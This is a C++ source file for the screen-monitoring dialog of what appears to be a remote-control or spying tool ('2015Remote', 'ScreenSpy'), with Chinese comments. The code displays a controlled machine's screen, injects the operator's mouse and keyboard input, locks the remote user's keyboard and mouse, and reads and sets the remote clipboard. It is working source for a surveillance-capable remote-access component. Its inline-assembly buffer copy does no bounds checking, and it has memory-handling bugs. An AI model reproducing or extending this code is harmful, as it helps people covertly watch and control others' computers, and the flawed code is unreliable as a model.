521 lines
13 KiB
C++
521 lines
13 KiB
C++
// ScreenSpyDlg.cpp : 实现文件
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "2015Remote.h"
|
||
#include "ScreenSpyDlg.h"
|
||
#include "afxdialogex.h"
|
||
|
||
|
||
// CScreenSpyDlg 对话框
|
||
|
||
enum
|
||
{
|
||
IDM_CONTROL = 0x1010,
|
||
IDM_SEND_CTRL_ALT_DEL,
|
||
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
|
||
IDM_BLOCK_INPUT, // 锁定远程计算机输入
|
||
IDM_SAVEDIB, // 保存图片
|
||
IDM_GET_CLIPBOARD, // 获取剪贴板
|
||
IDM_SET_CLIPBOARD, // 设置剪贴板
|
||
};
|
||
|
||
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||
|
||
#define ALGORITHM_DIFF 1
|
||
|
||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||
{
|
||
m_iocpServer = IOCPServer;
|
||
m_ContextObject = ContextObject;
|
||
|
||
CHAR szFullPath[MAX_PATH];
|
||
GetSystemDirectory(szFullPath, MAX_PATH);
|
||
lstrcat(szFullPath, "\\shell32.dll"); //图标
|
||
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17);
|
||
m_hCursor = LoadCursor(AfxGetApp()->m_hInstance,IDC_ARROW);
|
||
|
||
sockaddr_in ClientAddr;
|
||
memset(&ClientAddr, 0, sizeof(ClientAddr));
|
||
int ulClientAddrLen = sizeof(sockaddr_in);
|
||
BOOL bOk = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &ulClientAddrLen);
|
||
|
||
m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
|
||
|
||
m_bIsFirst = TRUE;
|
||
m_ulHScrollPos = 0;
|
||
m_ulVScrollPos = 0;
|
||
|
||
if (m_ContextObject==NULL)
|
||
{
|
||
return;
|
||
}
|
||
ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;
|
||
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength];
|
||
|
||
if (m_BitmapInfor_Full==NULL)
|
||
{
|
||
return;
|
||
}
|
||
|
||
memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength);
|
||
|
||
m_bIsCtrl = FALSE;
|
||
m_bIsTraceCursor = FALSE;
|
||
}
|
||
|
||
|
||
VOID CScreenSpyDlg::SendNext(void)
|
||
{
|
||
BYTE bToken = COMMAND_NEXT;
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, 1);
|
||
}
|
||
|
||
|
||
CScreenSpyDlg::~CScreenSpyDlg()
|
||
{
|
||
if (m_BitmapInfor_Full!=NULL)
|
||
{
|
||
delete m_BitmapInfor_Full;
|
||
m_BitmapInfor_Full = NULL;
|
||
}
|
||
|
||
::ReleaseDC(m_hWnd, m_hFullDC); //GetDC
|
||
::DeleteDC(m_hFullMemDC); //Create匹配内存DC
|
||
|
||
::DeleteObject(m_BitmapHandle);
|
||
if (m_BitmapData_Full!=NULL)
|
||
{
|
||
m_BitmapData_Full = NULL;
|
||
}
|
||
}
|
||
|
||
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CDialog::DoDataExchange(pDX);
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||
ON_WM_CLOSE()
|
||
ON_WM_PAINT()
|
||
ON_WM_SYSCOMMAND()
|
||
END_MESSAGE_MAP()
|
||
|
||
|
||
// CScreenSpyDlg 消息处理程序
|
||
|
||
|
||
BOOL CScreenSpyDlg::OnInitDialog()
|
||
{
|
||
CDialog::OnInitDialog();
|
||
SetIcon(m_hIcon,FALSE);
|
||
|
||
CString strString;
|
||
strString.Format("%s - 远程桌面控制 %d×%d", m_strClientIP,
|
||
m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
|
||
SetWindowText(strString);
|
||
|
||
m_hFullDC = ::GetDC(m_hWnd);
|
||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||
m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||
DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //创建应用程序可以直接写入的、与设备无关的位图
|
||
|
||
SelectObject(m_hFullMemDC, m_BitmapHandle);//择一对象到指定的设备上下文环境
|
||
|
||
SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //指定滚动条范围的最小值和最大值
|
||
SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768
|
||
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
if (SysMenu != NULL)
|
||
{
|
||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||
SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
|
||
SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪被控端鼠标(&T)");
|
||
SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定被控端鼠标和键盘(&L)");
|
||
SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
|
||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||
SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
|
||
SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
|
||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||
}
|
||
|
||
m_bIsCtrl = FALSE; //不是控制
|
||
m_bIsTraceCursor = FALSE; //不是跟踪
|
||
m_ClientCursorPos.x = 0;
|
||
m_ClientCursorPos.y = 0;
|
||
|
||
SendNext();
|
||
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// 异常: OCX 属性页应返回 FALSE
|
||
}
|
||
|
||
|
||
VOID CScreenSpyDlg::OnClose()
|
||
{
|
||
m_ContextObject->v1 = 0;
|
||
CancelIo((HANDLE)m_ContextObject->sClientSocket);
|
||
closesocket(m_ContextObject->sClientSocket);
|
||
|
||
CDialog::OnClose();
|
||
delete this;
|
||
}
|
||
|
||
|
||
VOID CScreenSpyDlg::OnReceiveComplete()
|
||
{
|
||
if (m_ContextObject==NULL)
|
||
{
|
||
return;
|
||
}
|
||
|
||
switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0])
|
||
{
|
||
case TOKEN_FIRSTSCREEN:
|
||
{
|
||
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
|
||
break;
|
||
}
|
||
|
||
case TOKEN_NEXTSCREEN:
|
||
{
|
||
if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF)
|
||
{
|
||
DrawNextScreenDiff();
|
||
}
|
||
break;
|
||
}
|
||
|
||
case TOKEN_CLIPBOARD_TEXT: //给你
|
||
{
|
||
UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
|
||
VOID CScreenSpyDlg::DrawFirstScreen(void)
|
||
{
|
||
m_bIsFirst = FALSE;
|
||
|
||
//得到被控端发来的数据 ，将他拷贝到HBITMAP的缓冲区中，这样一个图像就出现了
|
||
memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||
|
||
PostMessage(WM_PAINT);//触发WM_PAINT消息
|
||
}
|
||
|
||
VOID CScreenSpyDlg::DrawNextScreenDiff(void)
|
||
{
|
||
//该函数不是直接画到屏幕上，而是更新一下变化部分的屏幕数据然后调用
|
||
//OnPaint画上去
|
||
//根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标，防止鼠标闪烁
|
||
BOOL bChange = FALSE;
|
||
ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引
|
||
LPVOID FirstScreenData = m_BitmapData_Full;
|
||
LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength);
|
||
ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength;
|
||
|
||
POINT OldClientCursorPos;
|
||
memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT));
|
||
memcpy(&m_ClientCursorPos, m_ContextObject->InDeCompressedBuffer.GetBuffer(2), sizeof(POINT));
|
||
|
||
// 鼠标移动了
|
||
if (memcmp(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)) != 0)
|
||
{
|
||
bChange = TRUE;
|
||
}
|
||
|
||
// 光标类型发生变化
|
||
|
||
// 屏幕是否变化
|
||
if (NextScreenLength > 0)
|
||
{
|
||
bChange = TRUE;
|
||
}
|
||
|
||
//lodsd指令从ESI指向的内存位置4个字节内容放入EAX中并且下移4
|
||
//movsb指令字节传送数据，通过SI和DI这两个寄存器控制字符串的源地址和目标地址
|
||
|
||
//m_rectBuffer [0002 esi0002 esi000A 000C] [][]edi[][][][][][][][][][][][][][][][][]
|
||
__asm
|
||
{
|
||
mov ebx, [NextScreenLength] //ebx 16
|
||
mov esi, [NextScreenData]
|
||
jmp CopyEnd
|
||
CopyNextBlock:
|
||
mov edi, [FirstScreenData]
|
||
lodsd // 把lpNextScreen的第一个双字节，放到eax中,就是DIB中改变区域的偏移
|
||
add edi, eax // lpFirstScreen偏移eax
|
||
lodsd // 把lpNextScreen的下一个双字节，放到eax中, 就是改变区域的大小
|
||
mov ecx, eax
|
||
sub ebx, 8 // ebx 减去 两个dword
|
||
sub ebx, ecx // ebx 减去DIB数据的大小
|
||
rep movsb
|
||
CopyEnd:
|
||
cmp ebx, 0 // 是否写入完毕
|
||
jnz CopyNextBlock
|
||
}
|
||
|
||
if (bChange)
|
||
{
|
||
PostMessage(WM_PAINT);
|
||
}
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnPaint()
|
||
{
|
||
CPaintDC dc(this); // device context for painting
|
||
// TODO: 在此处添加消息处理程序代码
|
||
// 不为绘图消息调用 CDialog::OnPaint()
|
||
|
||
if (m_bIsFirst)
|
||
{
|
||
DrawTipString("请等待......");
|
||
return;
|
||
}
|
||
|
||
BitBlt(m_hFullDC,0,0,
|
||
m_BitmapInfor_Full->bmiHeader.biWidth,
|
||
m_BitmapInfor_Full->bmiHeader.biHeight,
|
||
m_hFullMemDC,
|
||
m_ulHScrollPos,
|
||
m_ulVScrollPos,
|
||
SRCCOPY
|
||
);
|
||
|
||
if (m_bIsTraceCursor)
|
||
DrawIconEx(
|
||
m_hFullDC,
|
||
m_ClientCursorPos.x - m_ulHScrollPos,
|
||
m_ClientCursorPos.y - m_ulVScrollPos,
|
||
m_hIcon,
|
||
0,0,
|
||
0,
|
||
NULL,
|
||
DI_NORMAL | DI_COMPAT
|
||
);
|
||
}
|
||
|
||
VOID CScreenSpyDlg::DrawTipString(CString strString)
|
||
{
|
||
RECT Rect;
|
||
GetClientRect(&Rect);
|
||
//COLORREF用来描绘一个RGB颜色
|
||
COLORREF BackgroundColor = RGB(0x00, 0x00, 0x00);
|
||
COLORREF OldBackgroundColor = SetBkColor(m_hFullDC, BackgroundColor);
|
||
COLORREF OldTextColor = SetTextColor(m_hFullDC, RGB(0xff,0x00,0x00));
|
||
//ExtTextOut函数可以提供一个可供选择的矩形，用当前选择的字体、背景颜色和正文颜色来绘制一个字符串
|
||
ExtTextOut(m_hFullDC, 0, 0, ETO_OPAQUE, &Rect, NULL, 0, NULL);
|
||
|
||
DrawText (m_hFullDC, strString, -1, &Rect,
|
||
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||
|
||
SetBkColor(m_hFullDC, BackgroundColor);
|
||
SetTextColor(m_hFullDC, OldBackgroundColor);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||
|
||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||
|
||
switch (nID)
|
||
{
|
||
case IDM_CONTROL:
|
||
{
|
||
m_bIsCtrl = !m_bIsCtrl;
|
||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); //菜单样式
|
||
|
||
break;
|
||
}
|
||
case IDM_SAVEDIB: // 快照保存
|
||
{
|
||
SaveSnapshot();
|
||
break;
|
||
}
|
||
|
||
case IDM_TRACE_CURSOR: // 跟踪被控端鼠标
|
||
{
|
||
m_bIsTraceCursor = !m_bIsTraceCursor; //这里在改变数据
|
||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);//在菜单打钩不打钩
|
||
|
||
// 重绘消除或显示鼠标
|
||
OnPaint();
|
||
|
||
break;
|
||
}
|
||
|
||
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
|
||
{
|
||
BOOL bIsChecked = SysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
|
||
SysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
|
||
|
||
BYTE bToken[2];
|
||
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
|
||
bToken[1] = !bIsChecked;
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, bToken, sizeof(bToken));
|
||
|
||
break;
|
||
}
|
||
case IDM_GET_CLIPBOARD: //想要Client的剪贴板内容
|
||
{
|
||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(bToken));
|
||
|
||
break;
|
||
}
|
||
|
||
case IDM_SET_CLIPBOARD: //给他
|
||
{
|
||
SendServerClipboard();
|
||
|
||
break;
|
||
}
|
||
}
|
||
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
|
||
|
||
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
|
||
switch (pMsg->message)
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_MOUSEMOVE:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
case WM_MOUSEWHEEL:
|
||
{
|
||
MSG Msg;
|
||
memcpy(&Msg, pMsg, sizeof(MSG));
|
||
Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
|
||
Msg.pt.x += m_ulHScrollPos;
|
||
Msg.pt.y += m_ulVScrollPos;
|
||
SendCommand(&Msg);
|
||
}
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYDOWN:
|
||
case WM_SYSKEYUP:
|
||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||
{
|
||
MSG Msg;
|
||
memcpy(&Msg, pMsg, sizeof(MSG));
|
||
Msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_ulVScrollPos, LOWORD(pMsg->lParam) + m_ulHScrollPos);
|
||
Msg.pt.x += m_ulHScrollPos;
|
||
Msg.pt.y += m_ulVScrollPos;
|
||
SendCommand(&Msg);
|
||
}
|
||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||
return true;
|
||
break;
|
||
}
|
||
|
||
return CDialog::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
|
||
VOID CScreenSpyDlg::SendCommand(MSG* Msg)
|
||
{
|
||
if (!m_bIsCtrl)
|
||
return;
|
||
|
||
LPBYTE szData = new BYTE[sizeof(MSG) + 1];
|
||
szData[0] = COMMAND_SCREEN_CONTROL;
|
||
memcpy(szData + 1, Msg, sizeof(MSG));
|
||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
|
||
|
||
delete[] szData;
|
||
}
|
||
|
||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||
{
|
||
CString strFileName = m_strClientIP + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
|
||
CFileDialog Dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
|
||
if(Dlg.DoModal () != IDOK)
|
||
return FALSE;
|
||
|
||
BITMAPFILEHEADER BitMapFileHeader;
|
||
LPBITMAPINFO BitMapInfor = m_BitmapInfor_Full; //1920 1080 1 0000
|
||
CFile File;
|
||
if (!File.Open( Dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||
{
|
||
|
||
return FALSE;
|
||
}
|
||
|
||
// BITMAPINFO大小
|
||
//+ (BitMapInfor->bmiHeader.biBitCount > 16 ? 1 : (1 << BitMapInfor->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
|
||
//bmp fjkdfj dkfjkdfj [][][][]
|
||
int nbmiSize = sizeof(BITMAPINFO);
|
||
|
||
//协议 TCP 校验值
|
||
BitMapFileHeader.bfType = ((WORD) ('M' << 8) | 'B');
|
||
BitMapFileHeader.bfSize = BitMapInfor->bmiHeader.biSizeImage + sizeof(BitMapFileHeader); //8421
|
||
BitMapFileHeader.bfReserved1 = 0; //8000
|
||
BitMapFileHeader.bfReserved2 = 0;
|
||
BitMapFileHeader.bfOffBits = sizeof(BitMapFileHeader) + nbmiSize;
|
||
|
||
File.Write(&BitMapFileHeader, sizeof(BitMapFileHeader));
|
||
File.Write(BitMapInfor, nbmiSize);
|
||
|
||
File.Write(m_BitmapData_Full, BitMapInfor->bmiHeader.biSizeImage);
|
||
File.Close();
|
||
|
||
return true;
|
||
}
|
||
|
||
|
||
VOID CScreenSpyDlg::UpdateServerClipboard(char *szBuffer,ULONG ulLength)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
|
||
::EmptyClipboard();
|
||
HGLOBAL hGlobal = GlobalAlloc(GPTR, ulLength);
|
||
if (hGlobal != NULL) {
|
||
|
||
char* szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal);
|
||
memcpy(szClipboardVirtualAddress,szBuffer,ulLength);
|
||
GlobalUnlock(hGlobal);
|
||
SetClipboardData(CF_TEXT, hGlobal);
|
||
GlobalFree(hGlobal);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
VOID CScreenSpyDlg::SendServerClipboard(void)
|
||
{
|
||
if (!::OpenClipboard(NULL)) //打开剪切板设备
|
||
return;
|
||
HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存
|
||
if (hGlobal == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||
char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定
|
||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||
|
||
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||
::GlobalUnlock(hGlobal);
|
||
::CloseClipboard();
|
||
m_iocpServer->OnClientPreSending(m_ContextObject,(PBYTE)szBuffer, iPacketLength);
|
||
delete[] szBuffer;
|
||
}
|